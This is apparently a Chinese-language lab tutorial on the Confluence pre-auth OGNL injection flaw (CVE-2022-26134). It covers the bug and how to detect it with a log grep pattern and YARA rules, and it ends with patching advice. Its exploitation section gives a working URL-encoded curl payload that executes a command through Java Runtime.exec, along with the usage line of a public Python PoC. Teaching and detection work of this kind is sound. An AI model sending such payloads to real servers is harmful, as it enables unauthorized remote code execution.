Confluence 预认证远程代码执行漏洞(CVE-2022-26134)——基于 OGNL 注入
2022 年 5 月 30 日,一个名为 Volexity 的组织在 Atlassian 的 Confluence Server 和 Data Center 版本中发现了未认证的远程代码执行漏洞(NIST 评分 9.8)(https://www.atlassian.com/software/confluence)。
Confluence 是一个面向团队的协作式文档和项目管理框架。它通过为成员提供集中式工作空间,帮助追踪项目状态。
以下 Confluence 版本受此 CVE 影响:
你可以在这里查看 CVE-2022-26134 的 NIST 条目(https://nvd.nist.gov/vuln/detail/CVE-2022-26134)。
该 CVE 利用了 Java 的 OGNL(对象图导航语言)表达式语言中的漏洞。OGNL 用于获取和设置 Java 对象的属性,以及其他许多功能。
例如,OGNL 用于将文本框等前端元素绑定到后端对象,并可用于 Confluence 等基于 Java 的 Web 应用程序。我们可以在下面的截图中看到 OGNL 的使用方式。值被输入到 Web 表单中,这些值将被存储到应用程序内的对象中。
漏洞利用 我们可以利用 OGNL 可以被修改这一事实;我们可以创建一个测试和检查漏洞的载荷。
为了利用 OGNL 中的这个漏洞,我们需要发起一个 HTTP GET 请求,并将我们的载荷放在 URI 中。例如,我们可以指示 Java 运行时执行诸如在服务器上创建文件的命令:${@java.lang.Runtime@getRuntime().exec("touch /tmp/thm/")}/。
这需要进行 URL 编码。你可以使用这个网站来帮助 URL 编码你的载荷(注意,你的 curl 载荷需要以尾随的 / 结尾,而非 %2F)。
命令:
user@host~ curl -v http://<target_ip>:8090/%24%7B%40java.lang.Runtime%40getRuntime%28%29.exec%28%22touch%20/tmp/thm%22%29%7D/
现在,通过在上述命令中执行 ls /tmp 命令,验证上述命令是否成功执行。
目前已有几个可用的 PoC 漏洞利用,我将演示 Samy Younsi(Mwqda)用 Python 编写的 PoC,该 PoC 托管在 GitHub 上(https://github.com/h3v0x/CVE-2022-26134)。
python3 exploit.py -u <target_url> -c <command>检测
日志文件
Confluence 是一个 Apache Tomcat 服务器,其日志位于 /opt/atlassian/confluence/logs。你可以使用 grep 等命令搜索使用 Java 运行时执行命令的 HTTP GET 请求载荷。例如:
grep -R "/%24%7B%40java.lang.Runtime%40getRuntime%28%29.exec%28%22" in catalina.out
YARA 如果你在运行 Confluence 的服务器上安装了 Yara,漏洞发现者 Volexity 已经为你创建了 Yara 规则,该规则也包含在此仓库中,并可通过以下链接获取(https://github.com/volexity/threat-intel/blob/main/2022/2022-06-02%20Active%20Exploitation%20Of%20Confluence%200-day/indicators/yara.yar)。
修补 Atlassian 已发布针对受此 CVE 影响的产品的安全公告,你可以在此处阅读(https://confluence.atlassian.com/doc/confluence-security-advisory-2022-06-02-1130377146.html)。要解决该问题,你需要升级你的 Confluence 版本。在发布时建议的版本列表如下:
请记住,OGNL 是一种用于基于 Java 的 Web 应用程序的表达式语言,因此此漏洞也适用于其他运行与 Confluence 相同类的 Web 应用程序!
其他阅读材料: